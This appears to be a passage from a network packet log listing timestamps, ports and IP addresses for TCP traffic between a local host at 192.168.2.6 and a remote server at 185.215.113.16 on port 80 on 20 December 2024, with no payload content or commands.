Dec 20, 2024 17:17:48.963743925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963757992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963779926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963790894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963802099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963804007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.963813066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963821888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.963824987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963850021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.963874102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.964562893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964576006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964586973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964643955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.964663982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964677095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964688063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.964725971 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.965526104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.965543985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.968889952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.007962942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.007987976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008002043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008064032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.008147955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008189917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008202076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008213997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008239985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.008696079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008708954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008721113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008733034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008744955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008757114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008760929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.008771896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.008783102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.008830070 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.009530067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009536982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009542942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009555101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009567976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009582043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009593010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.009594917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.009620905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.058020115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.072007895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077101946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077161074 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.077204943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077218056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077254057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.077404022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077416897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077428102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077440023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.077457905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.077480078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.077855110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078042030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078181028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078231096 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.078332901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078345060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078614950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.078685045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078726053 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.078814030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078833103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078840971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078846931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078854084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078859091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.078896046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.079797029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079816103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079830885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079833984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079839945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079854012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.079858065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.079885006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.079967022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.139974117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140100956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140111923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140185118 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.140264034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140399933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140414000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140460014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.140553951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140566111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140597105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.140721083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140875101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140887976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.140912056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.141208887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141220093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141232014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141256094 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.141284943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.141575098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141587019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141598940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141609907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141622066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.141623020 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.141655922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.142210007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142221928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142231941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142252922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.142266989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.142348051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142359972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142401934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.142857075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142868042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.142909050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.143199921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143218040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143229961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143239975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143251896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143254042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.143263102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.143274069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.143302917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144026041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144038916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144052029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144062996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144078970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144097090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144167900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144181013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144191980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144212961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144799948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144813061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144824982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144835949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144846916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144848108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144864082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.144865036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.144891977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.145612001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.145631075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.145641088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.145653963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.145664930 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.145683050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146089077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146100044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146111965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146125078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146135092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146136045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146157980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146182060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146214008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146855116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146868944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146878958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146891117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146894932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146902084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146914959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146917105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146925926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.146945000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.146958113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.147650003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147663116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147675991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147694111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.147799969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147811890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147823095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147835970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.147835970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.147861004 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.189151049 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.200479984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200494051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200506926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200541973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.200799942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200810909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200829029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200840950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.200851917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.200889111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.201343060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201359987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201390028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.201628923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201639891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201651096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201670885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201673985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.201682091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.201711893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.201728106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.202147007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202290058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202301979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202312946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202323914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202330112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.202336073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202346087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.202351093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.202387094 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.268870115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.268903971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.268915892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.268944025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.269150972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269164085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269181013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269188881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.269192934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269224882 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.269697905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269710064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269721031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269731998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269743919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269747019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.269756079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.269793987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.270478010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.270498991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.270509958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.270522118 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.270523071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.270534992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.270545959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.270584106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.271075964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271087885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271099091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271110058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271123886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.271127939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271148920 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.271680117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271692038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271703005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271714926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.271725893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.271759033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.332000017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332067966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332079887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332109928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.332298040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332336903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.332405090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332422972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332433939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332444906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.332458973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.332489014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.333009005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333019972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333031893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333044052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333059072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.333060980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333069086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333076000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.333108902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.333754063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333775043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333786011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.333811045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.334213018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334230900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334250927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334254026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.334264040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334275007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334285975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334291935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.334326029 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.334889889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334933996 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.334944963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334958076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334969997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334981918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334992886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.334994078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.335004091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.335021973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.335040092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.335740089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.335753918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.335773945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.335787058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.335794926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.335829973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.336273909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336287022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336297989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336311102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336323023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336323977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.336333990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.336357117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.336383104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337054968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337069988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337080956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337097883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337105036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337105989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337110996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337117910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337137938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337153912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337858915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337897062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337915897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337920904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337927103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337929964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337941885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.337960005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.337986946 CET	49809	80	192.168.2.6	185.215.113.16
